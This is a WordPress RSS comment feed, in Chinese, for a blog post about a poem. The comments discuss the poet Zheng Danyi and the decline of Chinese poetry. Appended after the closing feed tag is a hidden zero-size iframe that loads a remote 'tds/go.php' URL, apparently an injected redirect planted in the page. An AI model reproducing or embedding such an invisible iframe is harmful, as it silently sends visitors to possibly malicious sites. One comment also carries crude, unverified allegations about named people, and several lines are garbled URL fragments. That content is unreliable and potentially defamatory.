<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>《不是诗，是一些闲言碎语》的评论</title>
	<atom:link href="http://www.mingzhiguwen.net/archives/181.html/feed" rel="self" type="application/rss+xml" />
	<link>http://www.mingzhiguwen.net/archives/181.html</link>
	<description></description>
	<lastBuildDate>Mon, 26 Dec 2011 03:02:12 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
	<item>
		<title>作者：山下人</title>
		<link>http://www.mingzhiguwen.net/archives/181.html/comment-page-1#comment-1890</link>
		<dc:creator>山下人</dc:creator>
		<pubDate>Sat, 21 Apr 2007 15:16:49 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/%e4%b8%8d%e6%98%af%e8%af%97%ef%bc%8c%e6%98%af%e4%b8%80%e4%ba%9b%e9%97%b2%e8%a8%80%e7%a2%8e%e8%af%ad.html#comment-1890</guid>
		<description>


桑子是我过去的朋友，早已失去联系。只知道他后来又改笔名为“郑单衣”啊哈，山下人去年还见过他，前年也见过他，大前年他在学而优吟诗，偶在旁边作陪。不过有时他不只穿单衣，也有穿两件衣服的时候哩。
</description>
		<content:encoded><![CDATA[<p>桑子是我过去的朋友，早已失去联系。只知道他后来又改笔名为“郑单衣”啊哈，山下人去年还见过他，前年也见过他，大前年他在学而优吟诗，偶在旁边作陪。不过有时他不只穿单衣，也有穿两件衣服的时候哩。</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：7777777</title>
		<link>http://www.mingzhiguwen.net/archives/181.html/comment-page-1#comment-1891</link>
		<dc:creator>7777777</dc:creator>
		<pubDate>Fri, 20 Apr 2007 06:00:33 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/%e4%b8%8d%e6%98%af%e8%af%97%ef%bc%8c%e6%98%af%e4%b8%80%e4%ba%9b%e9%97%b2%e8%a8%80%e7%a2%8e%e8%af%ad.html#comment-1891</guid>
		<description>


/2/.?=57038&amp;=
</description>
		<content:encoded><![CDATA[<p>/2/.?=57038&amp;=</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：7777777</title>
		<link>http://www.mingzhiguwen.net/archives/181.html/comment-page-1#comment-1892</link>
		<dc:creator>7777777</dc:creator>
		<pubDate>Fri, 20 Apr 2007 05:58:38 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/%e4%b8%8d%e6%98%af%e8%af%97%ef%bc%8c%e6%98%af%e4%b8%80%e4%ba%9b%e9%97%b2%e8%a8%80%e7%a2%8e%e8%af%ad.html#comment-1892</guid>
		<description>


/2/.?=57038&amp;=姚国丹&quot;这个卵崽曾经帮我一个很大的忙,就是借我的女朋友去用,直到现在还每归还! &quot; : 这是郑的正职. 他还在干 ! 可怜的女人 ! 天天狩女人 !
</description>
		<content:encoded><![CDATA[<p>/2/.?=57038&amp;=姚国丹”这个卵崽曾经帮我一个很大的忙,就是借我的女朋友去用,直到现在还每归还! ” : 这是郑的正职. 他还在干 ! 可怜的女人 ! 天天狩女人 !</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：白</title>
		<link>http://www.mingzhiguwen.net/archives/181.html/comment-page-1#comment-1893</link>
		<dc:creator>白</dc:creator>
		<pubDate>Wed, 04 Oct 2006 11:22:02 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/%e4%b8%8d%e6%98%af%e8%af%97%ef%bc%8c%e6%98%af%e4%b8%80%e4%ba%9b%e9%97%b2%e8%a8%80%e7%a2%8e%e8%af%ad.html#comment-1893</guid>
		<description>


当今中国大陆诗歌水平越来越低就连《诗刊》杂志上发表的有些也不敢苟同不光是诗歌，小说也有这种情况，文化疲软了。
</description>
		<content:encoded><![CDATA[<p>当今中国大陆诗歌水平越来越低就连《诗刊》杂志上发表的有些也不敢苟同不光是诗歌，小说也有这种情况，文化疲软了。</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：老槐</title>
		<link>http://www.mingzhiguwen.net/archives/181.html/comment-page-1#comment-1894</link>
		<dc:creator>老槐</dc:creator>
		<pubDate>Tue, 03 Oct 2006 14:45:14 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/%e4%b8%8d%e6%98%af%e8%af%97%ef%bc%8c%e6%98%af%e4%b8%80%e4%ba%9b%e9%97%b2%e8%a8%80%e7%a2%8e%e8%af%ad.html#comment-1894</guid>
		<description>


上学期我讲管理信息系统，顺带介绍过后现代主义发生器。可惜只有英文版，不够搞笑。现在有了多个版本的新诗发生器，写出为的诗至少在我看来像模像样。本期介绍网络与写作时有了更加搞笑的谈资。
</description>
		<content:encoded><![CDATA[<p>上学期我讲管理信息系统，顺带介绍过后现代主义发生器。可惜只有英文版，不够搞笑。现在有了多个版本的新诗发生器，写出为的诗至少在我看来像模像样。本期介绍网络与写作时有了更加搞笑的谈资。</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：包租公</title>
		<link>http://www.mingzhiguwen.net/archives/181.html/comment-page-1#comment-1895</link>
		<dc:creator>包租公</dc:creator>
		<pubDate>Tue, 03 Oct 2006 14:18:14 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/%e4%b8%8d%e6%98%af%e8%af%97%ef%bc%8c%e6%98%af%e4%b8%80%e4%ba%9b%e9%97%b2%e8%a8%80%e7%a2%8e%e8%af%ad.html#comment-1895</guid>
		<description>


这首诗还是略偏于朦胧，人们有一种求清晰的本能，遇到太朦胧的东西，会怀疑自己的智商，损坏阅读的快感。现在人们已经对那些过于简陋的装蛋诗宣战了，估计对那些过于玄奥的装蛋诗宣战的日子也不远了。虽然诗无达估。当然，这首诗还算可以，但理解起来也不是那么容易。郑单衣很有名。

</description>
		<content:encoded><![CDATA[<p>这首诗还是略偏于朦胧，人们有一种求清晰的本能，遇到太朦胧的东西，会怀疑自己的智商，损坏阅读的快感。现在人们已经对那些过于简陋的装蛋诗宣战了，估计对那些过于玄奥的装蛋诗宣战的日子也不远了。虽然诗无达估。当然，这首诗还算可以，但理解起来也不是那么容易。郑单衣很有名。</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
